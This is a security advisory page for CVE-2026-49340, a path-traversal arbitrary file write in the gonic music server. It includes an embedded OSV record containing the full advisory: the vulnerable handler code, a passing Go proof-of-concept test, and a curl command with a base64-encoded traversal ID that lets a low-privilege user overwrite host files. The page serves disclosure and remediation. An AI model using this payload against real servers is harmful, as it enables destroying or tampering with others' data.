CVE-2026-49340: Go.senan.xyz/gonic Any Authenticated User Can Write Vulnerability
HIGHCVE-2026-49340 is a HIGH (CVSS 8.1) any authenticated user can write vulnerability (CWE-732: Incorrect Permission Assignment for Critical Resource) affecting Go.senan.xyz/gonic libraries in the Go ecosystem. The issue involves any authenticated user can write playlist m3u content to attacker-controlled path on the host. Remediation is available by upgrading affected packages to version 0.21.0.
CVE-2026-49340 at a Glance
Security Impact
CVSS: 8.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).
How to Fix CVE-2026-49340
To remediate this vulnerability, upgrade all affected Go.senan.xyz/gonic dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade go.senan.xyz/gonic to 0.21.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for go.senan.xyz/gonic
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-49340, inspect your project dependencies for Go.senan.xyz/gonic:
inspect dependencies for go.senan.xyz/gonic
Analyze the terminal output to locate any version of Go.senan.xyz/gonic in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.21.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-732: Incorrect Permission Assignment for Critical Resource, where the product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors. In Go.senan.xyz/gonic, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-49340 Affected Go.senan.xyz/gonic Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
go.senan.xyz/gonic
|
Go |
< 0.21.0
|
0.21.0
|
References
Frequently Asked Questions
What is CVE-2026-49340?
Which Go.senan.xyz/gonic versions are affected?
What version fixes CVE-2026-49340?
Is go.senan.xyz/gonic affected?
What is the CVSS score of CVE-2026-49340?
What CWE is associated with CVE-2026-49340?
How can I check Go dependencies for CVE-2026-49340?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4gxv-p5g5-j7w7",
"modified" : "2026-06-26T23:21:42Z",
"published" : "2026-06-26T23:21:42Z",
"aliases" : [ "CVE-2026-49340" ],
"summary" : "gonic has arbitrary file write in createPlaylist: any authenticated user can write playlist M3U content to attacker-controlled path on the host",
"details" : "## Summary\n\nA logic error in `ServeCreateOrUpdatePlaylist` allows **any authenticated Subsonic user** (including non-admin) to write playlist M3U content to an attacker-controlled absolute filesystem path on the gonic host, and to create intermediate directories with `0o777` permissions.\n\nThe bug is independent of the playlist ownership IDOR fixed in [`6dd71e6`](https://github.com/sentriz/gonic/commit/6dd71e6): it is an **unreachable guard clause** combined with **no path containment in `Store.Write`**.\n\n## Root cause — unreachable guard clause\n\n`server/ctrlsubsonic/handlers_playlist.go:74-90`:\n\n```go\nfunc (c *Controller) ServeCreateOrUpdatePlaylist(r *http.Request) *spec.Response {\n user := r.Context().Value(CtxUser).(*db.User)\n params := r.Context().Value(CtxParams).(params.Params)\n\n playlistID, _ := params.GetFirstID(\"id\", \"playlistId\")\n playlistPath := playlistIDDecode(playlistID) // attacker-controlled, base64-decoded\n\n var playlist playlistp.Playlist\n if playlistPath != \"\" {\n if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil {\n // ^^^^^^^^^^^^^^^^^^^^^^^^^\n // this condition is UNREACHABLE\n playlist = *pl\n }\n }\n\n if playlist.UserID != 0 && playlist.UserID != user.ID {\n return spec.NewError(50, \"you aren't allowed update that user's playlist\")\n }\n ...\n```\n\n`playlist.Store.Read` (`playlist/playlist.go:88-144`) returns either `(*Playlist, nil)` on success or `(nil, err)` on any failure path. **There is no return path of `(non-nil, non-nil-err)`.**\n\nSo the inner branch `err != nil && pl != nil` is **always false**, the `playlist = *pl` assignment never executes, and `playlist` stays at its zero value with `UserID = 0`. The subsequent guard `playlist.UserID != 0 && playlist.UserID != user.ID` simplifies to `false && (anything)` and **always passes**, regardless of who owns the target path.\n\n## Root cause — no path containment in `Store.Write`\n\n`playlist/playlist.go:146-160`:\n\n```go\nfunc (s *Store) Write(relPath string, playlist *Playlist) error {\n defer lock(&s.mu)()\n if err := sanityCheck(s.basePath); err != nil {\n return err\n }\n absPath := filepath.Join(s.basePath, relPath)\n if err := os.MkdirAll(filepath.Dir(absPath), 0o777); err != nil { // world-writable!\n return fmt.Errorf(\"make m3u base dir: %w\", err)\n }\n file, err := os.OpenFile(absPath, os.O_RDWR|os.O_CREATE, 0o666) // create-or-open\n ...\n if err := file.Truncate(0); err != nil { // wipe existing\n ...\n }\n```\n\n`filepath.Join(\"/var/lib/gonic/playlists\", \"../../etc/cron.daily/anything\")` resolves to `/var/lib/gonic/etc/cron.daily/anything` — Go's `filepath.Join` does NOT prevent `..` traversal. Combined with the missing guard above, **any authenticated user** controls the destination path.\n\n## Live PoC — passing Go test\n\nDrop this into `server/ctrlsubsonic/handlers_playlist_write_traversal_test.go` and run `go test -run TestCreatePlaylistArbitraryWrite_RawPath ./server/ctrlsubsonic/ -v`:\n\n```go\npackage ctrlsubsonic\n\nimport (\n\t\"net/url\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestCreatePlaylistArbitraryWrite_RawPath(t *testing.T) {\n\tf := newFixture(t)\n\n\t// playlistStore.basePath = <tmp>/playlists/. A relPath of \"../injected.m3u\"\n\t// resolves under the parent <tmp> dir — escaping the playlists/ subtree.\n\ttraversalRel := filepath.Join(\"..\", \"injected.m3u\")\n\ttraversalID := playlistIDEncode(traversalRel).String()\n\n\t// f.alt is the NON-ADMIN user (ID=2).\n\tresp := f.query(t, f.contr.ServeCreateOrUpdatePlaylist, f.alt, url.Values{\n\t\t\"id\": {traversalID},\n\t\t\"name\": {\"injected-by-low-priv-user\"},\n\t})\n\tt.Logf(\"resp: %+v\", string(resp))\n\n\ttmpDir := filepath.Dir(f.contr.musicPaths[0].Path)\n\ttarget := filepath.Join(tmpDir, \"injected.m3u\")\n\tstat, err := os.Stat(target)\n\trequire.NoError(t, err, \"VULNERABLE if the file exists outside playlists/\")\n\trequire.False(t, stat.IsDir())\n\n\tcontents, err := os.ReadFile(target)\n\trequire.NoError(t, err)\n\tt.Logf(\"VULNERABLE — file written at %s\\n%s\", target, string(contents))\n}\n```\n\nTest output against current `master` HEAD `6dd71e6`:\n\n```\n=== RUN TestCreatePlaylistArbitraryWrite_RawPath\n resp: {\"subsonic-response\":{\"status\":\"ok\",\"version\":\"1.15.0\",\"type\":\"gonic\",\"openSubsonic\":true,\n \"playlist\":{\"id\":\"pl-Li4vaW5qZWN0ZWQubTN1\",\"name\":\"injected-by-low-priv-user\",...,\n \"owner\":\"alt\",\"songCount\":0,...}}}\n VULNERABLE — file written at /var/folders/.../TestCreatePlaylistArbitraryWrite_RawPath.../001/injected.m3u\n #GONIC-NAME:\"injected-by-low-priv-user\"\n #GONIC-COMMENT:\"\"\n #GONIC-IS-PUBLIC:\"false\"\n--- PASS: TestCreatePlaylistArbitraryWrite_RawPath (0.05s)\n```\n\nThe file was created at `<tmp>/injected.m3u` while the playlist store's basePath is `<tmp>/playlists/` — write succeeded outside the intended directory.\n\n## HTTP-level reproduction\n\n```bash\n# Target a writable path on the gonic host.\n# Encode \"../../../var/log/anything.log\" (note: gonic must be able to write there)\nRAW='../../../var/log/anything.log'\nID=\"pl-$(printf '%s' \"$RAW\" | base64 -w0 | tr '/+' '_-')\"\n\ncurl -s \"http://gonic-host/rest/createPlaylist.view?u=lowpriv&p=pass&c=poc&v=1.16.1&f=json&id=$ID&name=injected\" \\\n | python3 -m json.tool\n# Response: {\"subsonic-response\":{\"status\":\"ok\",...}}\n# Side effect: file written at /var/log/anything.log with M3U structured content,\n# intermediate directories created with 0o777 permissions.\n```\n\n## Impact\n\n- **Integrity**: Any authenticated user can overwrite (truncate-and-rewrite) any file the gonic process has write access to: gonic's own SQLite database, configuration files, log files, cache, audit trails, M3U files of other users. The write is M3U-structured (`#GONIC-NAME: / #GONIC-COMMENT: / #GONIC-IS-PUBLIC:` attributes, plus song paths), but the `name` value is attacker-controlled and structurally placed (no newline injection; `strconv.Quote` escapes specials).\n- **Availability**: Overwriting `gonic.db` (or wherever the SQLite file lives) destroys all user state — accounts, ratings, playlists, etc. The write is unrecoverable.\n- **Filesystem state**: `MkdirAll(dir, 0o777)` creates intermediate directories as world-writable, regardless of the umask, which is itself a hardening issue alongside the traversal.\n- **Trust boundary**: gonic explicitly supports a non-admin user role (`ServeCreateUser`, the `IsAdmin` flag). This bug grants every non-admin user a destructive filesystem-write primitive into the host process's working set.\n- **Content control is structural** (cannot inject newlines into the M3U attribute lines), so direct shell/web-shell injection requires a target file format that tolerates the `#GONIC-NAME:\"...\"` header. Pure-destructive primitives (overwrite/truncate, fill-by-mkdir) work universally.\n\n## CVSS\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` = **8.1 High**\n\n## Suggested fix\n\nTwo changes, either of which mitigates this:\n\n**1. Fix the unreachable guard at `handlers_playlist.go:83`**:\n\n```go\n// Currently (BROKEN):\nif pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil {\n playlist = *pl\n}\n\n// Fixed:\nif pl, err := c.playlistStore.Read(playlistPath); err == nil && pl != nil {\n playlist = *pl\n}\n```\n\nThis restores the ownership check for the case where the path resolves to an existing playlist. It does NOT fix the case where `playlistPath` points to a non-existent file (the Read fails, `playlist` stays zero-valued, ownership check still bypassed). So the second fix is also needed.\n\n**2. Add path containment in `playlist/playlist.go::Store.Write`** (same helper proposed in the companion advisory):\n\n```go\nabsPath := filepath.Join(s.basePath, relPath)\nrel, err := filepath.Rel(s.basePath, absPath)\nif err != nil || rel == \"..\" || strings.HasPrefix(rel, \"..\"+string(filepath.Separator)) {\n return fmt.Errorf(\"path %q escapes playlist directory\", relPath)\n}\n```\n\nApply the same guard in `Read()` and `Delete()` to close related primitives. Consider tightening `MkdirAll` from `0o777` to `0o755`.\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "go.senan.xyz/gonic"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.21.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.20.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/sentriz/gonic/security/advisories/GHSA-4gxv-p5g5-j7w7"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-49340"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/sentriz/gonic"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-697", "CWE-732" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-26T23:21:42Z",
"nvd_published_at" : "2026-06-19T19:16:36Z"
}
}